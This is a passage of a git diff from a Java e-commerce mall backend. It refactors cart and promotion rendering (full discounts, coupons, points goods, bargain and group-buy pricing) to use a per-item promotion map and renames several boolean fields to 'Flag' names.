!goodsVO.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) || Boolean.TRUE.equals(goodsVO.getDeleteFlag())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } @@ -269,8 +269,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl i boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); if (containsPromotion && goodsIndex.getPromotionPrice() != null) { + goodsSkuDetail.setPromotionFlag(true); goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); - + } else { + goodsSkuDetail.setPromotionFlag(false); + goodsSkuDetail.setPromotionPrice(null); } } @@ -301,14 +304,14 @@ public class GoodsSkuServiceImpl extends ServiceImpl i /** * 更新商品sku状态 * - * @param goods 商品信息(Id,MarketEnable/IsAuth) + * @param goods 商品信息(Id,MarketEnable/AuthFlag) */ @Override public void updateGoodsSkuStatus(Goods goods) { LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(GoodsSku::getGoodsId, goods.getId()); updateWrapper.set(GoodsSku::getMarketEnable, goods.getMarketEnable()); - updateWrapper.set(GoodsSku::getIsAuth, goods.getIsAuth()); + updateWrapper.set(GoodsSku::getAuthFlag, goods.getAuthFlag()); updateWrapper.set(GoodsSku::getDeleteFlag, goods.getDeleteFlag()); boolean update = this.update(updateWrapper); if (Boolean.TRUE.equals(update)) { @@ -525,7 +528,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(GoodsSku::getId, skuId); updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice); - updateWrapper.set(GoodsSku::getIsPromotion, true); + updateWrapper.set(GoodsSku::getPromotionFlag, true); this.update(updateWrapper); cache.remove(GoodsSkuService.getCacheKeys(skuId)); } @@ -625,7 +628,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i sku.setGoodsUnit(goods.getGoodsUnit()); sku.setGrade(100D); //商品状态 - sku.setIsAuth(goods.getIsAuth()); + sku.setAuthFlag(goods.getAuthFlag()); sku.setSalesModel(goods.getSalesModel()); //卖家信息 sku.setStoreId(goods.getStoreId()); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java index f7fcd45c..d9a6f3e0 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java @@ -11,6 +11,7 @@ import lombok.NoArgsConstructor; import java.io.Serializable; import java.util.Date; import java.util.List; +import java.util.Map; /** * 购物车中的产品 @@ -85,6 +86,9 @@ public class CartSkuVO extends CartBase implements Serializable { @ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为:2020-01-01 00:00:01") private Date updatePromotionTime; + @ApiModelProperty("商品促销活动集合,key 为 促销活动类型,value 为 促销活动实体信息 ") + private Map promotionMap; + /** * @see CartTypeEnum */ @@ -102,10 +106,20 @@ public class CartSkuVO extends CartBase implements Serializable { this.updatePromotionTime = new Date(0); this.errorMessage = ""; this.isShip = true; - this.purchasePrice = goodsSku.getIsPromotion() != null && goodsSku.getIsPromotion() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); + this.purchasePrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); this.isFreeFreight = false; - this.utilPrice = 0D; + this.utilPrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); this.setStoreId(goodsSku.getStoreId()); this.setStoreName(goodsSku.getStoreName()); } + + /** + * 在构造器里初始化促销列表,规格列表 + */ + public CartSkuVO(GoodsSku goodsSku, Map promotionMap) { + this(goodsSku); + if (promotionMap != null && !promotionMap.isEmpty()) { + this.promotionMap = promotionMap; + } + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java index 4a746a7d..27b061b6 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java @@ -1,6 +1,6 @@ package cn.lili.modules.order.cart.entity.vo; -import cn.lili.modules.goods.entity.dos.GoodsSku; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import lombok.Data; @@ -29,14 +29,20 @@ public class FullDiscountVO extends FullDiscount { private List promotionGoodsList; /** - * 赠品信息 + * 赠品skuId */ - private GoodsSku giftSku; + private String giftSkuId; /** - * 参与商品,为-1则代表所有商品参加 + * 赠品名称 */ - private Integer number; + private String giftSkuName; + + /** + * 赠品路径 + */ + private String giftSkuThumbnail; + public FullDiscountVO(FullDiscount fullDiscount) { BeanUtils.copyProperties(fullDiscount, this); @@ -44,25 +50,25 @@ public class FullDiscountVO extends FullDiscount { public String notice() { StringBuilder stringBuffer = new StringBuilder(); - if (Boolean.TRUE.equals(this.getIsFullMinus())) { + if (Boolean.TRUE.equals(this.getFullMinusFlag())) { stringBuffer.append(" 减").append(this.getFullMinus()).append("元 "); } - if (Boolean.TRUE.equals(this.getIsFullRate())) { + if (Boolean.TRUE.equals(this.getFullRateFlag())) { stringBuffer.append(" 打").append(this.getFullRate()).append("折 "); } - if (Boolean.TRUE.equals(this.getIsFreeFreight())) { + if (Boolean.TRUE.equals(this.getFreeFreightFlag())) { stringBuffer.append(" 免运费 "); } - if (Boolean.TRUE.equals(this.getIsPoint())) { + if (Boolean.TRUE.equals(this.getPointFlag())) { stringBuffer.append(" 赠").append(this.getPoint()).append("积分 "); } - if (Boolean.TRUE.equals(this.getIsCoupon())) { + if (Boolean.TRUE.equals(this.getCouponFlag())) { stringBuffer.append(" 赠").append("优惠券 "); } - if (Boolean.TRUE.equals(this.getIsGift() && giftSku != null)) { - stringBuffer.append(" 赠品[").append(giftSku.getGoodsName()).append("]"); + if (Boolean.TRUE.equals(this.getGiftFlag() && CharSequenceUtil.isNotEmpty(giftSkuName))) { + stringBuffer.append(" 赠品[").append(giftSkuName).append("]"); } return stringBuffer.toString(); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 793abde5..a315538b 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -21,10 +21,8 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Pintuan; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.service.PintuanService; -import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.entity.dos.PointsGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -49,15 +47,9 @@ public class CheckDataRender implements CartRenderStep { @Autowired private OrderService orderService; - @Autowired - private PintuanService pintuanService; - @Autowired private MemberService memberService; - @Autowired - private PointsGoodsService pointsGoodsService; - @Override public RenderStepEnums step() { @@ -105,7 +97,7 @@ public class CheckDataRender implements CartRenderStep { continue; } //商品上架状态判定 - if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { + if (!GoodsAuthEnum.PASS.name().equals(dataSku.getAuthFlag()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { //设置购物车未选中 cartSkuVO.setChecked(false); //设置购物车此sku商品已失效 @@ -121,6 +113,14 @@ public class CheckDataRender implements CartRenderStep { //设置失效消息 cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]"); } + //移除无效促销活动 + cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { + BasePromotions basePromotions = (BasePromotions) i.getValue(); + if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { + return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); + } + return true; + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))); } } @@ -134,7 +134,7 @@ public class CheckDataRender implements CartRenderStep { List cartList = new ArrayList<>(); //根据店铺分组 - Map> storeCollect = tradeDTO.getSkuList().parallelStream().collect(Collectors.groupingBy(CartSkuVO::getStoreId)); + Map> storeCollect = tradeDTO.getSkuList().stream().collect(Collectors.groupingBy(CartSkuVO::getStoreId)); for (Map.Entry> storeCart : storeCollect.entrySet()) { if (!storeCart.getValue().isEmpty()) { CartVO cartVO = new CartVO(storeCart.getValue().get(0)); @@ -170,9 +170,9 @@ public class CheckDataRender implements CartRenderStep { } } //判断拼团商品的限购数量 - Optional pintuanId = tradeDTO.getSkuList().get(0).getPromotions().stream().filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); - if (pintuanId.isPresent()) { - Pintuan pintuan = pintuanService.getById(pintuanId.get()); + Optional> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (pintuanPromotions.isPresent()) { + Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); Integer limitNum = pintuan.getLimitNum(); for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { @@ -182,16 +182,19 @@ public class CheckDataRender implements CartRenderStep { } //积分商品,判断用户积分是否满足 } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { - String skuId = tradeDTO.getSkuList().get(0).getGoodsSku().getId(); //获取积分商品VO - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(skuId); - if (pointsGoodsVO == null) { - throw new ServiceException(ResultCode.POINT_GOODS_ERROR); - } - Member member = memberService.getUserInfo(); - if (member.getPoint() < pointsGoodsVO.getPoints()) { - throw new ServiceException(ResultCode.USER_POINTS_ERROR); + Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); + if (pointsPromotions.isPresent()) { + PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + if (pointsGoods == null) { + throw new ServiceException(ResultCode.POINT_GOODS_ERROR); + } + Member member = memberService.getUserInfo(); + if (member.getPoint() < pointsGoods.getPoints()) { + throw new ServiceException(ResultCode.USER_POINTS_ERROR); + } } + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java index 8c9bcda7..6c05a303 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java @@ -28,7 +28,7 @@ public class CheckedFilterRender implements CartRenderStep { @Override public void render(TradeDTO tradeDTO) { //将购物车到sku未选择信息过滤 - List collect = tradeDTO.getSkuList().parallelStream().filter(i -> Boolean.TRUE.equals(i.getChecked())).collect(Collectors.toList()); + List collect = tradeDTO.getSkuList().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).collect(Collectors.toList()); tradeDTO.setSkuList(collect); //购物车信息过滤 diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index a30f29ce..5183c7d4 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -1,6 +1,7 @@ package cn.lili.modules.order.cart.render.impl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; @@ -10,13 +11,13 @@ import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; -import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.List; +import java.util.Map; +import java.util.Optional; /** * 佣金计算 @@ -33,16 +34,6 @@ public class CommissionRender implements CartRenderStep { */ @Autowired private CategoryService categoryService; - /** - * 积分商品 - */ - @Autowired - private PointsGoodsService pointsGoodsService; - /** - * 砍价商品 - */ - @Autowired - private KanjiaActivityGoodsService kanjiaActivityGoodsService; @Override public RenderStepEnums step() { @@ -72,20 +63,26 @@ public class CommissionRender implements CartRenderStep { //平台佣金根据分类计算 String categoryId = cartSkuVO.getGoodsSku().getCategoryPath() .substring(cartSkuVO.getGoodsSku().getCategoryPath().lastIndexOf(",") + 1); - if (StrUtil.isNotEmpty(categoryId)) { + if (CharSequenceUtil.isNotEmpty(categoryId)) { Double commissionRate = categoryService.getById(categoryId).getCommissionRate(); priceDetailDTO.setPlatFormCommissionPoint(commissionRate); } //如果积分订单 积分订单,单独操作订单结算金额和商家结算字段 if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); - priceDetailDTO.setSettlementPrice(pointsGoodsVO.getSettlementPrice()); + Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); + if (pointsPromotions.isPresent()) { + PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + priceDetailDTO.setSettlementPrice(pointsGoods.getSettlementPrice()); + } } //如果砍价订单 计算金额,单独操作订单结算金额和商家结算字段 else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { - KanjiaActivityGoods kanjiaActivityGoods = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); - priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); + Optional> kanjiaPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); + if (kanjiaPromotions.isPresent()) { + KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); + } } } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java index b37acdc7..ef5f0e0c 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java @@ -79,14 +79,14 @@ public class CouponRender implements CartRenderStep { */ private void checkMemberExistCoupon(TradeDTO tradeDTO, List memberCouponList) { if (tradeDTO.getPlatformCoupon() != null && tradeDTO.getPlatformCoupon().getMemberCoupon() != null) { - boolean b = memberCouponList.parallelStream().anyMatch(i -> i.getId().equals(tradeDTO.getPlatformCoupon().getMemberCoupon().getId())); + boolean b = memberCouponList.stream().anyMatch(i -> i.getId().equals(tradeDTO.getPlatformCoupon().getMemberCoupon().getId())); if (!b) { tradeDTO.setPlatformCoupon(null); } } if (!tradeDTO.getStoreCoupons().isEmpty()) { for (Map.Entry entry : tradeDTO.getStoreCoupons().entrySet()) { - if (entry.getValue().getMemberCoupon() != null && memberCouponList.parallelStream().noneMatch(i -> i.getId().equals(entry.getValue().getMemberCoupon().getId()))) { + if (entry.getValue().getMemberCoupon() != null && memberCouponList.stream().noneMatch(i -> i.getId().equals(entry.getValue().getMemberCoupon().getId()))) { tradeDTO.getStoreCoupons().remove(entry.getKey()); } } @@ -138,7 +138,7 @@ public class CouponRender implements CartRenderStep { List filterSku; //平台店铺过滤 - if (Boolean.TRUE.equals(memberCoupon.getIsPlatform())) { + if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) { filterSku = cartSkuVOS; } else { filterSku = cartSkuVOS.stream().filter(cartSkuVO -> cartSkuVO.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList()); @@ -263,10 +263,10 @@ public class CouponRender implements CartRenderStep { private void renderCouponPrice(Map couponMap, TradeDTO tradeDTO, MemberCoupon coupon, MemberCouponDTO memberCouponDTO) { //分发优惠券 promotionPriceUtil.recountPrice(tradeDTO, memberCouponDTO.getSkuDetail(), memberCouponDTO.getMemberCoupon().getPrice(), - Boolean.TRUE.equals(coupon.getIsPlatform()) ? + Boolean.TRUE.equals(coupon.getPlatformFlag()) ? PromotionTypeEnum.PLATFORM_COUPON : PromotionTypeEnum.COUPON); //如果是平台券 则需要计算商家承担比例 - if (Boolean.TRUE.equals(coupon.getIsPlatform()) && coupon.getStoreCommission() > 0) { + if (Boolean.TRUE.equals(coupon.getPlatformFlag()) && coupon.getStoreCommission() > 0) { //循环所有优惠券 for (String skuId : couponMap.keySet()) { @@ -306,7 +306,7 @@ public class CouponRender implements CartRenderStep { CurrencyUtil.sub(1, CurrencyUtil.div(coupon.getDiscount(), 10, 3))); //平台券则写入店铺承担优惠券比例 - if (Boolean.TRUE.equals(coupon.getIsPlatform())) { + if (Boolean.TRUE.equals(coupon.getPlatformFlag())) { priceDetailDTO.setSiteCouponPrice(discountCouponPrice); priceDetailDTO.setSiteCouponPoint(coupon.getStoreCommission()); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java index ce8ca66f..a1a96cae 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java @@ -63,14 +63,12 @@ public class DistributionPriceRender implements CartRenderStep { }).collect(Collectors.toList()); //是否包含分销商品 List distributionGoods = distributionGoodsService.distributionGoods(skuIds); - if (distributionGoods != null && distributionGoods.size() > 0) { - distributionGoods.forEach(dg -> { - tradeDTO.getCheckedSkuList().forEach(cartSkuVO -> { - if (cartSkuVO.getGoodsSku().getId().equals(dg.getSkuId())) { - cartSkuVO.setDistributionGoods(dg); - } - }); - }); + if (distributionGoods != null && !distributionGoods.isEmpty()) { + distributionGoods.forEach(dg -> tradeDTO.getCheckedSkuList().forEach(cartSkuVO -> { + if (cartSkuVO.getGoodsSku().getId().equals(dg.getSkuId())) { + cartSkuVO.setDistributionGoods(dg); + } + })); } for (CartSkuVO cartSkuVO : tradeDTO.getCheckedSkuList()) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java index e487b614..35bfb885 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -12,9 +12,7 @@ import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.service.FullDiscountService; +import cn.lili.modules.promotion.entity.dos.FullDiscount; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -30,9 +28,6 @@ import java.util.stream.Collectors; @Service public class FullDiscountRender implements CartRenderStep { - @Autowired - private FullDiscountService fullDiscountService; - @Autowired private PromotionPriceUtil promotionPriceUtil; @@ -47,38 +42,35 @@ public class FullDiscountRender implements CartRenderStep { @Override public void render(TradeDTO tradeDTO) { - //店铺集合 List cartList = tradeDTO.getCartList(); + //循环店铺购物车 + for (CartVO cart : cartList) { + List fullDiscountSkuList = cart.getSkuList().stream() + .filter(i -> i.getPromotionMap().keySet().stream().anyMatch(j -> j.contains(PromotionTypeEnum.FULL_DISCOUNT.name()))) + .collect(Collectors.toList()); - //店铺id集合 - List storeIds = tradeDTO.getCartList().stream().map(CartVO::getStoreId).collect(Collectors.toList()); - //获取当前店铺进行到满减活动 - List fullDiscounts = fullDiscountService.currentPromotion(storeIds); - if (fullDiscounts == null || fullDiscounts.isEmpty()) { - return; - } + if (!fullDiscountSkuList.isEmpty()) { + Optional> fullDiscountOptional = fullDiscountSkuList.get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.FULL_DISCOUNT.name())).findFirst(); - //循环满减信息 - for (FullDiscountVO fullDiscount : fullDiscounts) { - //判定参与活动的商品 全品类参与或者部分商品参与,则进行云散 - //循环店铺购物车 - for (CartVO cart : cartList) { - //如果购物车中的店铺id与活动店铺id相等,则进行促销计算 - if (fullDiscount.getStoreId().equals(cart.getStoreId())) { + if (fullDiscountOptional.isPresent()) { + FullDiscount fullDiscount = (FullDiscount) fullDiscountOptional.get().getValue(); + FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount); //如果有赠品,则将赠品信息写入 - if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { + if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) { GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); - fullDiscount.setGiftSku(goodsSku); + fullDiscountVO.setGiftSkuId(fullDiscount.getGiftId()); + fullDiscountVO.setGiftSkuName(goodsSku.getGoodsName()); } //写入满减活动 - cart.setFullDiscount(fullDiscount); - Map skuPriceDetail; - //参与活动的sku判定 - skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); + cart.setFullDiscount(fullDiscountVO); + Map skuPriceDetail = new HashMap<>(16); + for (CartSkuVO cartSkuVO : cart.getSkuList()) { + skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); + } if (!skuPriceDetail.isEmpty()) { //记录参与满减活动的sku cart.setFullDiscountSkuIds(new ArrayList<>(skuPriceDetail.keySet())); @@ -88,21 +80,20 @@ public class FullDiscountRender implements CartRenderStep { if (isFull(countPrice, cart)) { //如果减现金 - if (Boolean.TRUE.equals(fullDiscount.getIsFullMinus())) { + if (Boolean.TRUE.equals(fullDiscount.getFullMinusFlag())) { promotionPriceUtil.recountPrice(tradeDTO, skuPriceDetail, fullDiscount.getFullMinus(), PromotionTypeEnum.FULL_DISCOUNT); } //打折 - else if (Boolean.TRUE.equals(fullDiscount.getIsFullRate())) { + else if (Boolean.TRUE.equals(fullDiscount.getFullRateFlag())) { this.renderFullRate(cart, skuPriceDetail, CurrencyUtil.div(fullDiscount.getFullRate(), 10)); } //渲染满优惠 renderFullMinus(cart); } } - } - } + } } @@ -115,9 +106,7 @@ public class FullDiscountRender implements CartRenderStep { */ private void renderFullRate(CartVO cart, Map skuPriceDetail, Double rate) { - List cartSkuVOS = cart.getCheckedSkuList().stream().filter(cartSkuVO -> { - return skuPriceDetail.containsKey(cartSkuVO.getGoodsSku().getId()); - }).collect(Collectors.toList()); + List cartSkuVOS = cart.getCheckedSkuList().stream().filter(cartSkuVO -> skuPriceDetail.containsKey(cartSkuVO.getGoodsSku().getId())).collect(Collectors.toList()); // 循环计算扣减金额 cartSkuVOS.forEach(cartSkuVO -> { @@ -136,34 +125,6 @@ public class FullDiscountRender implements CartRenderStep { } - /** - * 获取参与满优惠的商品id - * - * @param fullDiscount 满优惠信息 - * @param cartSkuVOS 购物车商品sku信息 - * @return 参与满优惠的商品id - */ - public Map initFullDiscountGoods(FullDiscountVO fullDiscount, List cartSkuVOS) { - Map skuPriceDetail = new HashMap<>(16); - - //全品类参与 - if (PromotionsScopeTypeEnum.ALL.name().equals(fullDiscount.getScopeType())) { - for (CartSkuVO cartSkuVO : cartSkuVOS) { - skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); - } - } else { - List collect = fullDiscount.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); - //sku 集合判定 - for (CartSkuVO cartSkuVO : cartSkuVOS) { - // 如果参加满减,并且购物车选中状态 ,则记录商品sku - if (Boolean.TRUE.equals(cartSkuVO.getChecked()) && collect.contains(cartSkuVO.getGoodsSku().getId())) { - skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); - } - } - } - return skuPriceDetail; - } - /** * 渲染满减优惠 * @@ -173,17 +134,17 @@ public class FullDiscountRender implements CartRenderStep { //获取参与活动的商品总价 FullDiscountVO fullDiscount = cartVO.getFullDiscount(); - if (Boolean.TRUE.equals(fullDiscount.getIsCoupon())) { + if (Boolean.TRUE.equals(fullDiscount.getCouponFlag())) { cartVO.getGiftCouponList().add(fullDiscount.getCouponId()); } - if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { + if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) { cartVO.setGiftList(Arrays.asList(fullDiscount.getGiftId().split(","))); } - if (Boolean.TRUE.equals(fullDiscount.getIsPoint())) { + if (Boolean.TRUE.equals(fullDiscount.getPointFlag())) { cartVO.setGiftPoint(fullDiscount.getPoint()); } //如果满足,判定是否免邮,免邮的话需要渲染一边sku - if (Boolean.TRUE.equals(fullDiscount.getIsFreeFreight())) { + if (Boolean.TRUE.equals(fullDiscount.getFreeFreightFlag())) { for (CartSkuVO skuVO : cartVO.getCheckedSkuList()) { skuVO.setIsFreeFreight(true); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 8ca43505..2251aedf 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -9,16 +9,18 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.service.KanjiaActivityService; -import cn.lili.modules.promotion.service.PromotionGoodsService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; +import java.util.Map; +import java.util.Objects; + /** * 购物促销信息渲染实现 * @@ -29,12 +31,6 @@ import org.springframework.stereotype.Service; public class SkuPromotionRender implements CartRenderStep { - /** - * 促销商品 - */ - @Autowired - private PromotionGoodsService promotionGoodsService; - @Autowired private KanjiaActivityService kanjiaActivityService; @@ -94,11 +90,11 @@ public class SkuPromotionRender implements CartRenderStep { for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); kanjiaActivitySearchParams.setGoodsSkuId(cartSkuVO.getGoodsSku().getId()); - kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); + kanjiaActivitySearchParams.setMemberId(Objects.requireNonNull(UserContext.getCurrentUser()).getId()); kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); KanjiaActivityVO kanjiaActivityVO = kanjiaActivityService.getKanjiaActivityVO(kanjiaActivitySearchParams); //可以砍价金额购买,则处理信息 - if (kanjiaActivityVO.getPass()) { + if (Boolean.TRUE.equals(kanjiaActivityVO.getPass())) { cartSkuVO.setKanjiaId(kanjiaActivityVO.getId()); cartSkuVO.setPurchasePrice(kanjiaActivityVO.getPurchasePrice()); cartSkuVO.setSubTotal(kanjiaActivityVO.getPurchasePrice()); @@ -126,18 +122,15 @@ public class SkuPromotionRender implements CartRenderStep { for (CartVO cartVO : tradeDTO.getCartList()) { //循环sku for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { - //更新商品促销 - 